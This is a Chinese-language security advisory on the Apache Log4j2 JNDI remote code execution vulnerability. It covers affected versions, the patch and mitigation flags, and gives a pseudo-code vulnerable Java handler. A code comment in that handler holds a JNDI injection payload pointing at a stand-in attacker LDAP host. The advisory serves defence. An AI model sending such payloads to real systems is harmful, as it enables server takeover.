近日,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害。而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者,很多互联网企业也都连夜做了应急措施。
漏洞详情:
Apache Log4j 远程代码执行漏洞
严重程度: 严重
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置
漏洞情况分析:
Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
漏洞编号:暂缺
漏洞等级:
高危,该漏洞影响范围极广,危害极大。
CVSS评分:10(最高级)
漏洞状态:
受影响的版本:
Apache log4j2 2.0 - 2.14.1 版本均受影响。
安全版本:
Apache log4j-2.15.0-rc2
import org.apache.log4j.Logger; import java.io.*; import java.sql.SQLException; import java.util.*; public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(log4jExample.class.getName()); /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * This is basically pseudo-code to explain the vulnerability, and not a full example. * @param he HTTP Request Object */ public void handle(HttpExchange he) throws IOException { string userAgent = he.getRequestHeader("user-agent"); // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); String response = "<h1>Hello There, " + userAgent + "!</h1>"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); } }
漏洞修复方案:
Apache官方已发布补丁,建议受影响的用户尽快升级到安全版本。
补丁下载地址:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
漏洞缓解措施:
(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2)log4j2.formatMsgNoLookups=True
因该组件使用极为广泛,利用门槛很低,危害极大,建议所有用户尽快升级到安全版本。